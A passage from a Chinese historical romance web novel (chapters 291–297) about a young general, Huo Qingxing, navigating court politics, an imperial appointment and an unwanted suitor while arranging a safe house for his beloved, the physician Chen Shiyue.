想了想,陈识月没有半分犹豫,毫不扭捏的进了他的怀抱。 霍青行如释重负,终是将人抱了满怀,第一次她主动的走向他,并且回应她,那种激动是无法用言语来描述的。 自己的媳妇,就得自己争取。 男人要想有个好媳妇,就得又争又抢,否则……就跟林序那样一直打光棍! “你早有准备?”陈识月问。 霍青行愈发将她抱紧,恨不能揉碎了融入骨血之中,“嗯,在我进金都之前,我爹的折子比我快一步到了皇帝的跟前,是以皇帝的朱砂御批早就落在我的手里,我是帝王恩准入城的,以养伤之名。” 养伤? “我随父出征,暂时没有官阶,你没听林序他们都是喊我少将军,却再无其他吗?这也是父亲的意思。”霍青行笑了笑,“我有战功,但没有官职,我爹在边关出生入死,那是他职责所在,但帝王无法要求我……我只是个平头百姓啊!” 出身将门,却又是一介布衣。 陈识月想了想,“这算不算是……算计?” “这是自保。”霍青行如是回答,“功高盖主的道理,谁都清楚,如今兵权掌握在我爹手里,但我爹没有要将兵符下移给我的迹象,帝王就会暂时安心。我爹到底是老了,老将用着安心!” 老了会死,一不留神可能就没了。 “月儿,记住我跟你说的,不要轻易相信他人。这金都城内,太多的阴谋诡计,也不要轻易与人共情。”霍青行叮嘱,“我知道,你是大夫,怜悯是你的本能,但这份怜悯不该用在心怀叵测的人身上。他们不配!” 陈识月点点头,“你放心,我都记着呢!这是金都,可不敢随意烂好心,我也怕牵连无辜之人,尤其是那些帮过我的。” 比如说,管家。 比如说,厨娘。 又比如说,云中村的大家。 外祖家! 她牵挂了太多,不能让他们都因为自己,而遭受无妄之灾。 好人应该有好报! “时辰还早,你回去歇着吧!”霍青行松开她,“明日可能会忙起来。” 陈识月眉心微蹙,“忙起来?是因为你被杨家的人瞧见了,所以他们肯定会去参你一本?不对,是参你父亲一本。” 霍青行颔首,“是!” “那你让林序去作甚?”陈识月又问。 霍青行道,“我得暂时阻断他们跟到这里的可能,天亮之前我会先行离开,白老爷和白公子那边,我早就打过招呼了。” “好!”陈识月站在那里,有些莫名的紧张。 霍青行示意她回屋去,外头太凉,万一受寒就不太好了。 “回屋去吧!” 陈识月转身回屋,利落的关上了房门。 果然,天亮之后,她便没有再见到霍青行。 莫名的,心里空落落的。 “月姑娘起来了?”白清舟站在院子里。 陈识月正扶着门框发愣,听得这话,赶紧收回看向隔壁房间的视线,有种被人看穿的窘迫感,“白公子怎么过来了?” “霍公子走的时候,特意叮嘱了两句,让我们好好照顾你。”白清舟笑道,“父亲怕姑娘闲来无事,干脆请您去回春堂看看,不能总闷在屋里。” 陈识月愣了愣,“我去回春堂?” “父亲说,姑娘医术不错,想来是喜欢去凑个热闹的。”白清舟忙道,“回春堂距离将军府不远,尤其是站在二楼,可以看清楚将军府门前。” 最后那一句,白清舟是笑着说的,说得意味深长。 陈识月摸了摸略有些发烫的面颊,笑得有些腼腆,“盛情难却,走吧!” 见着她脚步匆匆,白清舟止不住的唇角微扬。 路边吃上一碗馄饨,陈识月瞧着人来人往的街道。 “要认路。”白清舟低声说。 陈识月颔首,“记着呢!” 昨夜走过的路,她都记着。 现在白府到回春堂的路,她也都记着。 遇见危险的时候,这就是她的逃生之路…… 刚吃完馄饨,白清舟忽然拽着她躲进了一旁的小酒馆,“是杨家人。” 陈识月皱眉,还真是杨明慧,看行进方向……是去将军府? 第二百九十二章 跟你爹一模一样 杨明慧大步流星的朝着将军府而去,瞧着满面春风的,好像是捡了什么大便宜似的,脚步分外轻快,若是有翅膀,怕是真的要飞起来。 待人走过去之后,白清舟和陈识月才缓步走出来。 因为此前和杨明慧打过照面,所以白清舟拦住了陈识月,“别过去,我们去回春堂。” 回春堂。 “少东家……”老伙计还来不及开口,白清舟已经带着陈识月登上了二楼。 药童与伙计们,都面面相觑。 少东家这么着急,是出了何事? 登上了二楼,找准了位置,白清舟当即伸手,“看见没?那就是将军府。” 闻言,陈识月上前一步。 顺着白清舟手指的方向望去,陈识月瞧见了将军府门前的动静,只瞧着杨明慧兴冲冲的赶到了将军府门前。 但…… 不许进去! 门房直接把杨明慧拦在了外头,显然是不想让她进去。 “你们敢拦着我?可知道我是谁?”杨明慧气恼。 怎么从昨天晚上开始,一个两个便是这般造次,竟都不把她放在眼里? “主家吩咐,没有主家的允许,谁都不许轻易进去,尤其是女子!”门房最后那一句,几乎是直戳杨明慧的心窝。 什么意思? 尤其是女子? 这意思,就差直接点她杨明慧的名字了。 “好,那你就去通报一声,就说丞相府杨明慧求见少将军。” 杨明慧沉着脸,方才的喜悦几乎是一扫而空,跺着脚,气呼呼的站在外头,还好现在天还早,将军府平日就没多少人关注,毕竟谁不知道,霍家人都在边关,这里只有老奴守着。 “是!”两门房对视一眼,其中一人便快速往门内跑。 不多时,门房便去找了霍青行。 此刻霍青行已经洗漱完毕,换了身衣裳,正好林序也换洗结束。 “少……” 林序还没来得及开口,便瞧见门房急急忙忙的来汇报。 待门房汇报完毕,林序挑眉看向霍青行。 “你先下去吧!”霍青行没说进,也没说不让进。 门房有些犹豫。 “少将军的意思是,让她等着。” 林序这一开口,门房旋即行礼退下。 “少将军?”林序皱了皱眉头,“这怎么还追上门来了?她是上赶着,要给你当媳妇呢?” 霍青行抬步往外走,“不会说话就闭嘴。” 临了,好似想起了什么。 “我有。” 没错,他有媳妇。 谁也不要,就要一个陈识月。 林序一时间没反应过来,等着回过神来,不由的白眼都快翻上天。 对对对,就你有! 就你有! 霍青行没有去门口,而是去了花厅,好似在等着什么。 老管家在边上看着,“少将军在等人?” “等宫里的圣旨。”霍青行挑眉,拂袖落座,“到时候看着点。” 老管家点头,“放心。” 只不过,门外那位真的不会影响什么吗? 这刚坐下没多久,宫里的马车就来了。 门房刚汇报完,少将军的回话,气得杨明慧七窍生烟,便瞧着宫里来人,硬生生将火气给压了下去,一时间还真不知道发生何事? “王公公?”杨明慧愣怔,没想到来的竟是皇帝身边的王公公。 皇帝身边的王海,王公公。 见着杨明慧站在这里,王海也有些发懵,“杨姑娘怎么在这呢?” 这也不是丞相府啊! “我……我……”杨明慧有些结结巴巴,“我听说霍哥哥回来了,就来看看。” 王海先是一愣,其后笑着点点头,“杨姑娘真是个知恩图报的好姑娘。” 当初那点事,谁还不知道呢?尤其是王海还是帝王身边伺候的人,那点眼力见还是有的,所以这一句话算是给了杨明慧一个台阶下。 “是!”杨明慧点点头,忽然好似觉察到了异常,“王公公您这是……” 王海看了一眼身后,小太监毕恭毕敬的托着圣旨,“哦,皇上有旨。” 语罢,王海便迈开步子朝着里面走去。 杨明慧站在原地没动,毕竟王海是来宣读圣旨的,有些热闹是不能凑的,这道理她也清楚,所以只站在原地等候。 其实皇帝也没有别的意思,只是感念霍家功勋,趁着现在霍青行回来了,边关战事还算稳定,干脆就留他在兵部任职,兼任西郊大营禁军副指挥使。 “皇上知道霍老将军忠君爱国,也知道老将军镇守边关辛劳,不愿少将军您有任何的风险,所以才想着留您在金都,也好保全老将军最后一点血脉。”王海语重心长,“少将军年轻气盛,有时候还是要多做思量才好。” 到底是皇帝身边伺候的人,说起话来一套一套的。 话说得好听,是想留下霍家的一脉,可实际上,皇帝一直在忌惮霍家,如今是送上门来的软肋,自然是要快些收下。 大家都是心知肚明的事,但明面上还得客客气气的。 “是!”霍青行行礼。 领了旨,就该进宫谢恩了。 王海在前面领路,霍青行将圣旨交给了管家,便转身跟着王海走了。 林序倒是想跟上,却被霍青行一个眼神制止。 这是金都,已经落在了人前,当然得谨慎行事。 林序止步,眼睁睁看着霍青行跟着王海离开,“金伯,我去一趟回春堂,若是有什么事就来回春堂找我。” 管家点头,“放心,我们这些老东西都还没死绝,绝对不会让少将军有事的。” 霍家可就这么点血脉,岂能让小人得逞!! 林序匆匆离去,管家则让人在宫门口等着,若是少将军进宫有所不妥,必定第一时间来报。 皇宫这地方,吃人不吐骨头。 御书房。 瞧着伏跪在地的霍青行,皇帝李敬面露温和之色,“爱卿快快起身,近前来,让朕看看你。” “谢皇上。”霍青行起身,缓步近前。 李敬就像是家中长辈,见到了优秀的晚辈,眸中满是慈爱,面上甚是欢喜与满意,“年少有为,青出于蓝胜于蓝。想当初你走的时候,才那么点大,如今比你爹都高了吧?真不愧是那老小子的种,有骨气,有志气,有本事!” “皇上夸赞,臣愧不敢当。”霍青行躬身行礼。 李敬站在那里,轻轻拍着他的胳膊,“算起来,朕与你爹当年一起南征北讨,是过命的交情,不是手足却胜似手足,你合该唤朕一声皇伯父!贤侄以后多进宫,多陪朕说说话,不要学了你爹那做派,一板一眼的,无趣得紧。” “臣领旨!”霍青行可不敢把这话当真。 帝王就是帝王! 李敬无奈的笑笑,“还真是跟你爹那老古板一模一样。” 第二百九十三章 这婚事,成不了! 见着霍青行话不多,李敬无奈的叹口气,“到底是刚回来,对这儿都不熟,也难怪这般少言寡语,以后多在宫里走动。朕的那些儿女一个两个不成器,若是都如你这般,朕这心里就踏实了。” “皇上乃是天子,诸位皇子和公主都是天之骄子,必定聪慧无比,只是皇上圣明,期望甚重罢了。” 霍青行恭敬的回答,令人找不到半点错漏之处。 “都如你这般就好了。”李敬低咳两声,“听说你昨儿就回来了?” 霍青行心头一紧,面上不显,恭敬的行礼,“昨天夜里回来的,时辰不早,便没敢吱声,怕惊扰了圣驾,也怕惹来不必要的麻烦。” “你倒是个谨慎的。”李敬点点头,“回来就好!你父亲镇守边关,为朝廷立下赫赫战功,总不能让你这半大小子,也在边关打一辈子光棍吧?此番回来就好好住下,修身齐家治国平天下,你霍家的兴衰荣辱,以后将系于你一身。” 霍青行不敢多说,怕多说多错,只是恭敬的行礼,静默垂首,“谢皇上惦念,臣与父亲必定誓死不负皇上圣恩。” “贤侄有此心,朕心甚慰。”李敬好似想到了什么,“先回去好好休息吧,过几日宫里有赏菊宴,你早些进宫。” 霍青行行礼,“是!” 赏菊宴? 宴无好宴。 到底是赏花,还是赏人? 呵! “王海,送青行出宫。”李敬一声招呼。 王海赶紧行礼,“奴才遵旨,少将军,请。” 从御书房出来,霍青行依旧面色平静,但也没什么话可说,只管跟着王海,缓步朝着宫外走去。 途径御花园的时候,王海顿了顿。 不远处,有贵人驻足。 “那是两位公主。”王海低声开口,“红衣服的是五公主,旁边是六公主,两位公主正当年岁。” 虽然只是这么两句,但霍青行还是听出了异样,只是没有任何的反应。 “五公主是愉妃娘娘所生,六公主则是孟贵妃所生。”王海还在絮絮叨叨。 霍青行转头看向他,若说方才不懂,那这会倒是明白了。皇帝说的那些话,在脑子里盘旋,大概就是这些意思了吧? 长长的宫道上,王海在前面领路,霍青行走在后面。 “王公公。”霍青行开口。 王海赶紧顿住脚步,“少将军?” “皇上选的是五公主还是六公主?”霍青行问。 王海哽了一下,转而又无奈的开口,“不管是哪位公主,其实都是一样的,最后还得少将军您点头不是?” “要是我不点头呢?”霍青行又问。 王海没答上来。 “我若是有心上人了呢?”霍青行看向他。 王海嗫嚅了半天,“老奴只是个奴才,有些事真的不清楚,少将军还是先回去好好休息吧!金都城很大,您多四处逛逛,多走走。金都城内贵女众多,皇上兴许会改变主意呢!” “皇上改不改主意我不知道,但不管有多少贵女,都跟我没关系。”霍青行知道,王海会把这句话传递到皇帝的耳朵里。 但那又如何? 此身报国,可以。 婚姻大事,不可以。 命可以为了国为了家,丢在战场上。 但是情,谁都不能拦阻。 他霍青行是个倔骨头,火烧铁打亦不改。 出了宫,翻身上马。 霍青行头也不回的离开皇宫,什么巍峨繁华,什么天家富贵,与他何干?! 回春堂。 陈识月在大堂边上,瞧着大夫坐堂看诊,学无止境,每个人的医术都是不同的,没有长年累月的积累,如何能做好一个大夫? 身为大夫,就得好学好问,得时刻保持警惕。 林序来的时候,陈识月正在看药方,两相比较,心中有数。 “进宫……不会有什么事吧?”陈识月将药方递给白清舟。 白清舟转手,还给了药童。 “就目前情况来说,暂时不会有事。”林序解释,“但我总觉得没好事。” 陈识月挑眉。 看出陈识月的担心,白清舟忙道,“上二楼说话吧!” 二楼雅间,白清舟泡了茶,示意陈识月不要担心。 “喝口茶,定定神。”白清舟道,“这宫里的事情谁说得准呢?皇上的心思,谁都猜不透,也许只是进宫领赏谢恩,没别的意思。” 林序接过杯盏,“是啊是啊,月大夫你别担心,可能只是我多想罢了!你也知道,我不会说话,素来胡言乱语的,莫要放心上。” “我对他很放心。”陈识月开口,“我就是担心霍家。” 功高盖主这四个字压下来,足以让霍青行在金都,成为很尴尬的存在。 林序沉默了,白清舟端着杯盏的手紧了紧,一时间满室寂静,相顾无言。 “我觉得吧!”林序想着,不能一直沉默,那得多尴尬,当即找了个话题,“眼下最要紧的,应该是那朵烂桃花吧?” 众人:“??” “今儿一早就在门口堵着,听说这姑娘倔得跟驴似的,怕是要盯着少将军不放啊!”林序意味深长的开口,“这若是死活非要嫁将军府,还真够让人头疼的。万一啊……我是说万一,丞相府请求赐婚,那还得了?” 少将军不得疯? 陈识月:“……” “这倒是……有可能。”白清舟点点头,“丞相府不比寻常,那位姑娘又是从小娇宠着长大,要风得风,要雨得雨的,唯有在少将军这事上吃了苦头,一时间不甘心,怕是真的不会善了。” 陈识月不知道该说什么,杯盏端起又放下,放下又端起,心里乱糟糟的。 赐婚? 若真的到了那一天,皇命难违,以霍青行的性子,还不知要做出什么呢? “林公子?”白清舟忙道,“这些没发生的事情就不必说了,霍家也不是谁都能进的,丞相虽为百官之首,但也不可能真的强人所难。” 丞相府的确权势滔天,可霍家手里握着的……是兵权! 文官之首,武将之首。 看谁更胜一筹。 “更何况,皇上是不会允许两家联姻的!”白清舟淡淡然开口,“丞相府大权在握,若是再得霍家相助,这怕是要翻天呢!” 最后那一句,他说得很轻很轻。 但,足以舒了陈识月的心。 “朝堂之争,讲究权衡。”白清舟看向陈识月,示意她不必紧张,“帝王之术,便是权衡之术,没有一个帝王,能允许臣子在自己的枕畔酣睡。” 陈识月点点头,林序挠挠头。 “白公子,你都没入朝为官,怎么懂这么多?”林序问,“书上说的?” 白清舟颔首,“林公子一定要多读书!” 林序:“……” 第二百九十四章 自己的媳妇,自己养 话是这么说的,但说得也不是没有道理的。 陈识月端起杯盏浅呷,心里还是有些担忧,自古伴君如伴虎,君心难测。 好在霍青行还是回来了,进门那一瞬,陈识月这颗心总算落回了肚子里,所有人都齐刷刷的站起来,目光皆落在霍青行身上。 “少将军?”林序忙上前,“皇上没有为难你吧?” 霍青行摇头,看向面色不太好的陈识月,“你们在说什么?” “说您那朵烂桃花呢!”林序心直口快。 霍青行剜了他一眼,“就你有嘴!” 林序:“……” “少将军。”白清舟揖礼。 霍青行摆摆手,“以后不要那么见外。” “是!”白清舟点点头,“其实我们都清楚,丞相府那位是不可能嫁入将军府的,即便你点头,皇上也不会答应。” 所以霍青行不担心,只要晾着就行。 一旦霍家和杨家联姻,就会变成压过皇权的存在,皇帝若是没了话语权,那不就是折断了翅膀的鹰?帝王是不会允许臣子的权势,超过自己的。 越俎代庖,等同谋逆。 皇帝还盼着,杨家能压制霍家,与霍家抗衡呢! 文武虽不同,但只要政见不合,帝王会放心很多…… 但是,皇帝想要断了霍家这条路,又不想废了霍家这棋子,还是有别的路子可走,比如说是……让公主尚驸马。 驸马不可入朝为官,等于断了霍青行的后路,但若是真的有外敌来犯,霍青行又可以临危待命,身为皇家的女婿,随时随地准备着为帝王尽忠。 最是无情,帝王家。 如此一来,几乎将无情二字的真谛,展现得淋漓尽致。 霍老将军再厉害,也有闭上眼的那一天,霍青行不能子承父业,霍家军迟早分崩离析,帝王就再也不必担心,霍家拥兵自重了! 不费一兵一族,只需要一位公主,就能解决心腹大患。 “你别听林序乱说。”霍青行走到陈识月跟前,“那些事情都不会发生,虽然帝王在上,但若是我不点头,他也没办法赐婚。霍家如今就剩下我这一根苗,即便是帝王也不敢往死里逼。我爹那暴脾气,帝王心知肚明。” 儿子也许好欺负,但老子绝对不好说话。 当年国公府一案,皇帝愣是没敢牵连到霍家,由此可见帝王忌惮。 “这倒也是。”林序小声嘀咕。 霍青行又道,“帝王命我在兵部任职,为西郊大营副指挥使,接下来我可能无法常来见你,还是要去点卯,熟悉熟悉环境,免得帝王起疑。” “嗯!”陈识月颔首,“我都明白的,你自去做你想做的,我也要去做一些事情。父亲当年结识的一些知己好友,不知道是否还在,我先去查探查探。” “先别惊扰,观察观察再说。人性善变,免得他们为了一己私利而出卖你。”霍青行叮嘱,“时隔多年,各有机遇……难说!” 陈识月点头,“我都明白的!” 小心驶得万年。 “我爹这几日会跟李叔去找一些故友,只盼着能有消息。”白清舟压低了声音。 大家都在努力,都担着掉脑袋的风险。 但那又如何? 人这一辈子,总得有点执念吧? 父亲心心念念了一辈子的国公爷和镇国将军,闭上眼之前,总得有个交代! “我让管家悄悄置办了一个小院,接下来你便去住在那边,是在热闹的街区,若是有什么事,你只管跑上街便罢!小院里给你配了两个丫鬟,两个佯装长工的护卫,都是会手脚功夫的,能更好的保护你。既然白老爷和李掌柜已经开始,你就不能再与他们有太大的羁绊。”霍青行这么说,也不是没有道理的。 必须得分开,免得一着不慎,到时候被整锅端。 凡事,当需未雨绸缪。 “我都听你的。”陈识月没有推辞。 霍青行做事仔细,他如此安排自是对的,陈识月自认为除了看病,没别的太大的本事,所以当个跟从者,才是正确的做法。 白清舟原本想挽留,但转念一想,霍青行如此安排似乎是最优解,鸡蛋不能放在同一个篮子里。 晌午过后,霍青行便带着陈识月他们去小院。 白清舟在旁跟着,“这院子倒是不错,开门就是街市,若有事跑出去便能喊人,就是……可能有点闹哄哄,月姑娘的睡眠可好?若不行,去回春堂拿点安神香即可。” “放心,我在哪儿都可以。”陈识月倒是一点都不担心这些。 以前在山上采药,那样恶劣的环境都能睡,如今这样的环境,已经是极好了。 小院干净整洁,两个护卫和两个丫鬟早已等候多时。 见着来人,当即毕恭毕敬的行礼。 “奴婢迎春。” “奴婢冬梅。” “卑职杜忠。” “卑职杜决。” 关起门来,霍青行指了指后面。 杜忠和杜决在前院待着,一个拿扫把扫地,一个拿剪子修剪院中枯枝。 迎春和冬梅则跟去了后院,“奴婢们已经收拾出了卧房和花厅,其他的还在整理之中,请主子先去花厅休息。” 这小院此前一直空着,而这四人刚被调拨过来,正在如火如荼的清扫之中。 当然,不能有太多人知道这里,所以清扫之事可以慢慢来,根本不急于一时。 花厅。 迎春和冬梅上前奉茶。 “迎春,以后姑娘出门的时候,你跟着。”霍青行开口,“你是江湖出身,能辨很多东西,有你在,我放心。” 迎春先是一愣,其后赶紧行礼,“少将军放心,奴婢明白!” “以后就有劳迎春姑娘了!”陈识月行礼。 迎春忙不迭退后一步,“不敢!” “你们就不必如此客气,江湖儿女没那么多规矩,也不必一口一个奴婢,又不是真的奴婢,无需装模作样的。”霍青行揉着眉心。 闻言,陈识月笑了笑。 迎春也跟着笑,“好!” 迎春和冬梅本就不是什么丫鬟,江湖出身,因着受了霍青行的恩,所以才来这里保护陈识月的,至于什么国公府一案……孑然一身之人,有什么可担心的? 哪怕是诛九族,都诛不到她们的头上! 天大地大,找得到才是本事。 “我轻功好,对金都还算熟悉,姑娘以后出门一定要叫上我。”迎春拱手。 陈识月连连点头,“好。” 望着迎春离去的背影,陈识笑问,“你从哪儿找的妙人?” “无意间搭救,后来就进了将军府。”霍青行解释,“她轻功很好,一般情况下没人能追得上,冬梅硬功夫极佳,有她们护着你,我安心。” 第二百九十五章 那老不死的 “这后院倒是挺僻静的。”林序转悠了一圈,“前面闹哄哄,丝毫不影响后院。” 白清舟点头表示赞同,的确如此。 “皇上让你留在金都,那满朝文武应该都知道了这消息,将军府的门槛怕是都要被人踩烂了。”陈识月有些担心,“你久居边关,应付得过来吗?” 这忙起来,怕是也没功夫再追查国公府一案了吧? “国公府的事情,我不会放弃的。”霍青行知道她在担心什么,“满朝文武之中,必定有人参与其中,我们查的线索,不就是说有个大人物吗?不去接触,如何知道是谁?” 陈识月颔首,“那你就更得小心。” 不知道具体是谁的状况之下,每个人都有嫌疑,那就意味着谁都不可信,必须小心谨慎防着所有人。 众人都沉默了,所有人都有嫌疑,这得耗费多少的精力? “放心吧,我心中有数。”霍青行环顾四周,“你先适应适应,一应所需物什,我都会让管家送来,若有什么不足的,让杜家兄弟去采买,莫要委屈自己。” 该准备的,他都交代了管家,就怕有所疏漏。 “你放心,我会好好照顾自己的。”陈识月又不是三岁的孩子。 她自己一个人,不也苟活了这么多年? 要不是因为蛊虫…… 罢了,不想了! 众人只是坐了坐,便就此散了,各自都有事情要忙。 霍青行既然令了官职,就得先去兵部报道,其后还得去一趟西郊大营接手副指挥使的一应军务,这一来一回的,估计要忙得脚不着地。 林序也得跟着,多少得认认脸,免得以后真的有什么事,他又成了生面孔。 送了三人出去,陈识月在门口站了站。 “姑娘?”虽然陈识月一袭男儿装束,但院子里四人都知晓她是女子,却也不敢喊得太大声,“卧房那边早就收拾妥当,您要不然去歇一歇?” 迎春和冬梅略有些担心的看着她,瞧着她一副心事重重的样子,还真是让人不放心。 “我也收拾一下吧!”陈识月不以为意,“大家都不要见外,以后都是一家人,我在金都也没什么认识的人,到时候还得有劳诸位。” 四人慌忙行礼,“姑娘客气了。” 屋内很是整洁。 窗户边上还放了一盆小雏菊,瞧着生机勃勃的,为枯燥的生活添了一抹亮色。 “姑娘若是还缺什么,只管言说。”迎春道,“咱对这金都还较熟,保管给你找来。” 陈识月摇摇头,“我觉得很好,都很好。” “姑娘性子真好,难怪少将军喜欢得紧。”冬梅笑道。 陈识月面上微红,平静的坐在了窗口位置,小案上还放着两本医书。 “这都是少将军让人送来的,说是孤本,姑娘一定喜欢,咱识字不多,想着既是孤本肯定得放一边,正好这个窗口光亮好,若是姑娘闲下来,可坐在这里看看书。”迎春解释,“姑娘且看看,是不是劳什子的孤本?” 陈识月连连点头,满脸欢喜之色,“我此前在县城里也搜了许多,愣是谁家都没有,倒是这会……竟齐全了。” “姑娘喜欢就好。”冬梅与迎春对视一眼,“那我们就先去打扫,姑娘慢慢看。” 语罢,二人便退了出去,笑得眉眼弯弯。 少将军对姑娘可真好! 陈识月心知,霍青行是怕她无聊,怕她多思多想,所以在他站稳脚跟之前,让她有事可做,打发了时间就不会胡思乱想。 眼下领了皇命,霍青行委实忙得脚不着地。 去兵部报道,但……迎头就撞上了杨家的人,还真是有种阴魂不散的感觉。 “呵,真是没完了!”林序看了一眼霍青行,“丞相大人。” 丞相此刻就站在台阶上,瞧着站在院中的霍青行,隔着一段路却也能感受到彼此间的冷意流转。 杨文权负手而立,将百官之首的姿态端得十足十,明明到了快卸任的时候,依旧死抓着手中权力不放,伸手摸了摸自个的长须,在霍青行毕恭毕敬的行礼后,忽的换上了一副慈眉善目之色。 “这位是……”杨文权故作疑问,“霍家的小儿?” 林序心中冷嗤:装模作样,装腔作势。 “下官霍青行。”霍青行直起身。 杨文权缓步拾阶而下,“真是年少有为,愈发的俊俏,较之前些年更甚,难怪啊……难怪……我家那不成器的如此念念不忘。” 这话说得,边上随行的官员和奴仆都不敢抬头,只悄悄的偷瞄霍青行。 “多谢丞相大人夸赞,容貌不过尔尔,实担不起念念不忘四个字。”霍青行这意思已经很明显了,“下官还有事,先行告辞。” 语罢,霍青行转身就走。 他跟杨家的人,没什么可说的。 杨文权站在那里,似笑非笑的望着霍青行离去的背影,“少年意气,真是令人羡慕。想当年本相年轻的时候,也曾这般傲气,还是要多磋磨磋磨,才能认清现状。” “丞相所言极是!”边上众人赶紧附和。 杨文权想起了自家那个不成器的,据说昨晚念叨了很久,一早就去将军府门前候着,结果还没捞着果子吃,真是丢人啊! 丢人! 不过,就事论事,霍青行这副皮囊这一身气势,还真能撩动少女心,往人前一站,便是人中龙凤的存在,很难不让人心动。 可惜啊! 霍家兵权在手,而他杨家权势太盛,帝王必不愿意见到两家联姻。 自家那小孙女,要失望了! “听说皇上有意在五公主和六公主之间,选一个。”户部尚书孙乾低声开口,“进宫谢恩之后,王公公还特意带着他经过了御花园,大概也是给了选择的,免得这位太失望。” 打过照面,心里有数,大概就不会太失望吧? “你瞧他这模样,像是能听人摆布的样子吗?”杨文权瞥他一眼。 孙乾愣了愣,“这……” “霍家那老东西,是个好说话的吗?那暴脾气一起来,房顶都给你掀了。”杨文权摇摇头,“若是霍家小子不点头,皇帝也不能强摁头,只能说皇帝有这个心思,想徐徐图之。” 孙乾点点头,“这倒也是。” 霍家可不是好招惹的,霍家军那些人,一个个都凶神恶煞,霍家在百姓心中宛若神一般的存在,皇帝要动他们,也得三思! 如今边关这边全靠霍家镇守,朝中武将…… 想起这个,孙乾无奈叹气。 一帮吃干饭的,没个屁用! 及至走出去甚远,林序才开口,“少将军,那老不死的就是丞相?” 第二百九十六章 见面就打一架 “谨言慎行,这不是边关,谨防隔墙有耳。”霍青行提醒他。 林序点点头,“知道了。” “时刻谨记,这是金都。”霍青行边走边叮嘱,“杨家权势滔天,不容小觑,我爹纵然是大将军,可也一时半会的,伸不了那么长的手。若是你我在金都出事,他怕日夜兼程都来不及。” 林序颔首,“卑职明白!” 就目前情况来说,安全第一,先摸清楚状况,知己知彼百战百胜。 “看清楚他身边的人了吗?”霍青行问。 林序愣怔了一下,转而道,“好像有几分眼熟?是不是见过?” “孙乾。”霍青行挑眉。 林序心头咯噔一声,转而张大嘴巴,“原来就是他!我说怎么眼熟,前两年不也是他来押送军粮的吗?对,就是他!” 因为军粮这事素来是老将军亲自接手,林序惯来跟着霍青行,不愿意跟金都来的人打交道,所以只偶尔远远看一眼,倒是没正儿八经接触过。 原来,就是他! “当日……”林序想起当日,与陈识月他们一起分析之事,“那这孙大人,合该也是可疑之人。” 霍青行点头,但没有说话。 林序看了他一眼,心中有数。 孙乾有嫌疑,这老小子一直凑在丞相那老不死跟前,说明二人是一伙的,更说明……都不是好东西,一窝狗贼。 “不过,少将军。”林序开口,“丞相说那话是什么意思?替他那不成器的烂桃花打抱不平?” 霍青行:“……” 这一口一个烂桃花,可真伤人呢! “你舔一舔你那破嘴。”霍青行白了他一眼。 林序不解,“为何?” “毒死你自己。” “……” 兵部这边倒是没什么问题,兵部尚书高端站在那里,瞧着眼前的少年人,不由得感慨,“长江后浪推前浪,一代更比一代强。老将军身子可好?” “好着呢!”霍青行回答,“父亲是个闲不住的性子,每天一大早起来练武,谁也拦不住。” 高端瞧着霍青行,满脸都是欣慰之色,“老将军身康体健,实乃我大煜之福。如今能镇住南蛮,震慑边关诸国的,也就是你爹了!” 但在朝为官多年,皇帝是什么心思,又岂会不知? “高大人有话要说?”霍青行问。 高端苦笑两声,“我坐在这个位置上,是因为你爹的举荐,所以就不跟你说什么见外的话,你留在金都不是什么好事。” “我不留在金都,也不是什么好事。”霍青行回答。 高端一怔,转而点点头,“倒也是。” 帝王心思难揣测,不管如何揣测,都是一句话的事儿。 “高大人不必为我心忧,凡事都是命,兵来将挡水来土掩。”霍青行恭敬的行礼,“以后若有不周之处,请高大人随时提点。” 高端拍了拍他的肩膀,“莫要轻信任何人。” “是!” 霍青行出了六部衙门,直奔西郊大营。 要不怎么说,有些缘就是孽缘呢? 这边见过杨家那位老丞相,这边就是禁卫军都指挥使正使——杨贤。 也就是说,杨明慧和杨明放的父亲。 霍青行算是父亲的老来子,辈分上理该和杨贤同辈,但是年岁上,却跟杨明慧相仿,于是乎场面就有些尴尬。 “杨指挥使。”霍青行拱手。 杨贤站在那里,冷眼睨着霍青行,“使什么兵器?” “长枪。”霍青行开口。 下一刻,杨贤忽然丢掷出一杆长枪。 霍青行旋即接住,二话不说便迎了上去。 杨贤的力道不弱,动作极快,下手的劲儿几乎是用了十成十,目光狠戾,仿佛不只是要一较高低,还想一决生死。 林序的一颗心瞬时提起,“少将军?” 但霍青行不惧,什么场面没见过。 杨贤师承名门,的确是个高手,又执掌禁军多年,但霍青行也不逊,边关磨砺,敌军可不会点到为止,每一场恶战都是生死较量。 相比起杨贤,霍青行下手更狠。 战场之上,不是你死就是我亡,从无手下留情之说。 杨贤从一开始的自信,到最后的不敢置信,只用了三招,倒不是现下立败,而是……霍青行越战越勇,自己呈现颓弱之事,僵持下去只会让自己丢脸。 “罢了!”杨贤撤了手,将长枪丢给身边人。 在外人看来,没有输,但也没有赢。 但是内行的都看明白了,拳怕少壮,是真理! “霍家出来的好儿郎,真是好本事。”杨贤努力平复心绪,“我算是看明白,为何皇上给你个副指挥使,你当得起!” 霍青行旋即拱手,“多谢杨指挥使手下留情,以后还要跟您多学学。” “呵!”杨贤捏了捏袖中的手,“力道不小。” 震得他这会胳膊还有些发麻,霍家教出来的儿郎,果真是不容小觑。 “得罪了!”霍青行不卑不亢。 杨贤指了指身边的人,“你带他过去,让钟河与他言明。” “是!副指挥使,这边请!” 霍青行拱手,带着林序转身离开。 及至霍青行的身影消失在实现里,杨贤这才伸出手,瞧着掌心里的血迹,虎口处微微破开,血就是从虎口流出来的。 “大人?” 杨贤收了手,以长袖遮掩,“好强的力道,到底是年轻气盛,真真是一点力道都收不住,上了战场就是锐利的刀。” 霍家又磨出了一把好刀! 锋利无比。 待远去,林序如释重负。 “好厉害的功夫。”林序有些感慨,“少将军,这杨指挥使的功夫不同一般。” 霍青行点头,“所以你要当心,以后莫要硬碰硬。” 别看杨文权这个老丞相,手无缚鸡之力,一把年纪,可他养出了一个好儿子,杨贤文武双全,当年可是实打实的武状元出身。 “杨贤文成武就,行事又非常小心,方才对我的试探,你也都看见了,以后没什么事,别在他眼前晃。”霍青行仔细叮嘱。 林序都记在心中,“卑职明白。” 都知道杨文权是只老狐狸,可他养出来的儿子,又何尝不是呢? 只不过,杨贤那一对儿女…… 一番折腾下来,结束已是天黑。 “我先回将军府。”霍青行回头看了一眼,“你去小院说一声。” 林序了悟,“是!” 霍青行策马回府,刚踏进府门,管家便汇报了今日之事,说是杨明放来过了。 “不用管他。”霍青行懒得搭理。 管家又道,“柳侍郎也来了一趟。” 脚步一顿,霍青行眉心微拧,“刑部的那位?” “说是要好好感谢少将军。”管家回答。 霍青行大步流星的进门,“安信他们呢?” 第二百九十七章 差点吓死老管家 